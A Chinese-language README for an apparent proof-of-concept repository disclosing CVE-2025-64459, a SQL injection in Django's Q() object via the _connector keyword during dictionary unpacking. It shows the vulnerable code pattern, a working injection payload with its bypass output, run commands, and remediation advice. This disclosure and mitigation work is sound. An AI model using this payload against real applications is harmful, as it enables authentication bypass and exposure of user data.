漏洞: 通过 QuerySet 和 Q() 关键字参数解包导致的 SQL 注入。
CVE ID: CVE-2025-64459
发现者: Me (Cyberstan)
披露日期: 2025年11月5日
本仓库包含一个 Docker 化的概念验证(PoC),演示了 Django ORM 中的一个严重 SQL 注入漏洞。
该漏洞存在于 Q 对象在实例化过程中处理关键字参数的方式。具体来说,内部的 _connector 属性在通过字典解包(例如 Q(**user_input))传递时未得到适当清理。这允许远程攻击者向数据库查询的 WHERE 子句中注入任意 SQL 逻辑,从而实现身份验证绕过、数据泄露和权限提升。
该漏洞位于 django.db.models.sql.where.WhereNode 中。负责编译 SQL WHERE 子句的 as_sql 方法使用了不安全的字符串格式化来插入查询连接符(AND/OR)。
虽然连接符通常默认为 "AND" 或 "OR",但 Django 允许通过 Q 对象构造函数中的 _connector 关键字参数覆盖该值。
# 简化的漏洞逻辑位于 django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# self.connector 属性未经验证直接注入
conn = ' %s ' % self.connector
# ...
当开发者使用字典解包从用户输入构建过滤器时(这在搜索 API 中很常见),便会触发该漏洞。
易受攻击的代码模式:
# 攻击者控制 'filters' 的键和值
filters = request.GET.dict()
query = Q(**filters) # <--- 漏洞点
results = User.objects.filter(query)
如果攻击者在输入中包含 _connector 作为键,就可以操纵 SQL 结构。
本 PoC 使用 Docker 确保一个包含易受攻击 Django (5.1) 版本的一致隔离环境。
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
运行以下命令以构建环境并执行攻击脚本:
docker-compose up --build
容器将执行一个 Python 脚本 (poc.py),模拟一个易受攻击的应用端点。
alice(普通用户)和 root(管理员)。_connector 负载的搜索请求。成功的漏洞利用输出:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
立即将 Django 升级到最新的安全版本。
pip install Django==5.1.14(或相应版本)该补丁在 WhereNode 中引入了严格验证,确保 connector 只等于 AND 或 OR。
如果无法立即升级,请审计代码库中所有使用 Q(**kwargs) 或 filter(**kwargs) 的地方。确保传递给这些方法的字典绝不包含原始用户控制的键。
安全模式:
# 显式白名单允许的字段
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# 现在安全地进行解包
User.objects.filter(**clean_filters)
本仓库仅供教育和安全研究目的使用。
提供的代码创建了一个易受攻击的环境,用于演示特定的安全缺陷。切勿在生产环境中运行。作者 (Cyberstan) 不对任何滥用此信息的行为负责。在未经明确授权的情况下针对系统测试此漏洞是违法的。